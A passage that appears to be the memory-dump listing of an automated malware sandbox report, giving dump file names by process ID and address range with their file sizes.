                                                                                                                                                                                                                                                                                  • memory/1392-582-0x00000269AE340000-0x00000269AE3B2000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    456KB

                                                                                                                                                                                                                                                                                  • memory/1508-432-0x0000000005070000-0x0000000005071000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                  • memory/1512-271-0x00000000001F0000-0x00000000001F1000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                  • memory/1516-142-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    1.5MB

                                                                                                                                                                                                                                                                                  • memory/1516-148-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    100KB

                                                                                                                                                                                                                                                                                  • memory/1516-141-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    1.5MB

                                                                                                                                                                                                                                                                                  • memory/1516-136-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    572KB

                                                                                                                                                                                                                                                                                  • memory/1516-137-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    572KB

                                                                                                                                                                                                                                                                                  • memory/1516-138-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    572KB

                                                                                                                                                                                                                                                                                  • memory/1516-139-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    1.5MB

                                                                                                                                                                                                                                                                                  • memory/1516-143-0x000000006B280000-0x000000006B2A6000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    152KB

                                                                                                                                                                                                                                                                                  • memory/1516-147-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    100KB

                                                                                                                                                                                                                                                                                  • memory/1516-149-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    100KB

                                                                                                                                                                                                                                                                                  • memory/1516-140-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    1.5MB

                                                                                                                                                                                                                                                                                  • memory/1516-146-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    100KB

                                                                                                                                                                                                                                                                                  • memory/1580-272-0x00000000054B0000-0x00000000054B1000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                  • memory/1580-252-0x0000000004DD0000-0x0000000004DD1000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                  • memory/1580-229-0x00000000005F0000-0x00000000005F1000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                  • memory/1580-255-0x0000000004FA0000-0x0000000004FA1000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                  • memory/1604-187-0x0000000000400000-0x0000000000414000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    80KB

                                                                                                                                                                                                                                                                                  • memory/1852-573-0x000001C454860000-0x000001C4548D2000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    456KB

                                                                                                                                                                                                                                                                                  • memory/1984-209-0x0000000001798000-0x00000000017E7000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    316KB

                                                                                                                                                                                                                                                                                  • memory/1984-325-0x0000000003200000-0x000000000328E000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    568KB

                                                                                                                                                                                                                                                                                  • memory/1984-327-0x0000000000400000-0x00000000016FB000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    19.0MB

                                                                                                                                                                                                                                                                                  • memory/2076-535-0x0000000002F10000-0x000000000305A000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    1.3MB

                                                                                                                                                                                                                                                                                  • memory/2076-577-0x0000000000400000-0x0000000002F02000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    43.0MB

                                                                                                                                                                                                                                                                                  • memory/2076-250-0x00000000032D8000-0x00000000032E1000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    36KB

                                                                                                                                                                                                                                                                                  • memory/2160-258-0x0000000005030000-0x0000000005031000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                  • memory/2160-238-0x0000000004EC0000-0x0000000004EC1000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                  • memory/2160-211-0x00000000006A0000-0x00000000006A1000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                  • memory/2504-530-0x0000025660160000-0x00000256601D2000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    456KB

                                                                                                                                                                                                                                                                                  • memory/2536-527-0x000001D9BAF20000-0x000001D9BAF92000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    456KB

                                                                                                                                                                                                                                                                                  • memory/2556-280-0x0000000007DD0000-0x0000000007DD1000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                  • memory/2556-222-0x0000000003240000-0x0000000003241000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                  • memory/2556-409-0x000000007F5F0000-0x000000007F5F1000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                  • memory/2556-230-0x0000000004C80000-0x0000000004C81000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                  • memory/2556-453-0x0000000004C83000-0x0000000004C84000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                  • memory/2556-215-0x0000000003240000-0x0000000003241000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                  • memory/2556-227-0x0000000004C90000-0x0000000004C91000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                  • memory/2556-283-0x0000000008440000-0x0000000008441000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                  • memory/2556-235-0x0000000007660000-0x0000000007661000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                  • memory/2556-245-0x0000000004C82000-0x0000000004C83000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                  • memory/2612-647-0x000002A9DC470000-0x000002A9DC4E2000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    456KB

                                                                                                                                                                                                                                                                                  • memory/2656-650-0x000001FCFB850000-0x000001FCFB8C2000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    456KB

                                                                                                                                                                                                                                                                                  • memory/2976-485-0x00000188D8F00000-0x00000188D8F72000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    456KB

                                                                                                                                                                                                                                                                                  • memory/3028-661-0x00000000024E0000-0x00000000024F6000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    88KB

                                                                                                                                                                                                                                                                                  • memory/3048-201-0x0000000000E00000-0x0000000000E01000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                  • memory/3048-225-0x0000000001260000-0x0000000001262000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    8KB

                                                                                                                                                                                                                                                                                  • memory/3116-237-0x0000000002BB0000-0x0000000002BB1000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                  • memory/3116-264-0x00000000054B0000-0x00000000054B1000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                  • memory/3116-228-0x0000000000A80000-0x0000000000A81000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                  • memory/3288-436-0x0000000006520000-0x0000000006521000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                  • memory/3288-381-0x0000000077BB0000-0x0000000077D3E000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    1.6MB

                                                                                                                                                                                                                                                                                  • memory/3352-614-0x0000000005470000-0x00000000055BC000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    1.3MB

                                                                                                                                                                                                                                                                                  • memory/3416-208-0x0000000000D80000-0x0000000000D81000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                  • memory/3416-256-0x0000000005700000-0x0000000005701000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                  • memory/3596-260-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                  • memory/3616-199-0x00000000001B0000-0x00000000001B1000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                  • memory/3616-204-0x00000000001B0000-0x00000000001B1000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                  • memory/3628-248-0x0000000000400000-0x0000000000414000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    80KB

                                                                                                                                                                                                                                                                                  • memory/3788-668-0x0000000005CA0000-0x0000000005DEC000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    1.3MB

                                                                                                                                                                                                                                                                                  • memory/3852-447-0x0000019076280000-0x00000190763E1000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    1.4MB

                                                                                                                                                                                                                                                                                  • memory/3852-444-0x0000019076420000-0x000001907657B000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    1.4MB

                                                                                                                                                                                                                                                                                  • memory/4028-183-0x00000000032A9000-0x00000000032D2000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    164KB

                                                                                                                                                                                                                                                                                  • memory/4028-490-0x0000000000400000-0x0000000002F22000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    43.1MB

                                                                                                                                                                                                                                                                                  • memory/4028-467-0x0000000004B30000-0x0000000004B79000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    292KB

                                                                                                                                                                                                                                                                                  • memory/4284-315-0x0000000005170000-0x0000000005776000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    6.0MB

                                                                                                                                                                                                                                                                                  • memory/4284-282-0x0000000000400000-0x0000000000422000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    136KB

                                                                                                                                                                                                                                                                                  • memory/4296-284-0x0000000000400000-0x0000000000422000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    136KB

                                                                                                                                                                                                                                                                                  • memory/4296-318-0x00000000052F0000-0x00000000058F6000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    6.0MB

                                                                                                                                                                                                                                                                                  • memory/4308-320-0x0000000005290000-0x0000000005896000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    6.0MB

                                                                                                                                                                                                                                                                                  • memory/4308-285-0x0000000000400000-0x0000000000422000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    136KB

                                                                                                                                                                                                                                                                                  • memory/4688-448-0x0000000004FE0000-0x0000000004FE1000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                  • memory/4848-344-0x0000000004910000-0x0000000004911000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                  • memory/4992-473-0x0000000003F9C000-0x000000000409D000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    1.0MB

                                                                                                                                                                                                                                                                                  • memory/4992-477-0x00000000040A0000-0x00000000040FD000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    372KB

                                                                                                                                                                                                                                                                                  • memory/5024-354-0x0000000077BB0000-0x0000000077D3E000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    1.6MB

                                                                                                                                                                                                                                                                                  • memory/5024-377-0x00000000063B0000-0x00000000063B1000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                  • memory/5080-493-0x000001BE5E040000-0x000001BE5E0B2000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    456KB

                                                                                                                                                                                                                                                                                  • memory/5080-940-0x000001BE5DDE0000-0x000001BE5DDFB000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    108KB

                                                                                                                                                                                                                                                                                  • memory/5080-942-0x000001BE60800000-0x000001BE60905000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    1.0MB

                                                                                                                                                                                                                                                                                  • memory/5288-988-0x0000000001820000-0x0000000001B40000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    3.1MB

                                                                                                                                                                                                                                                                                  • memory/5812-663-0x00000000047D0000-0x000000000487D000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    692KB

                                                                                                                                                                                                                                                                                  • memory/5812-662-0x0000000004670000-0x000000000471D000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    692KB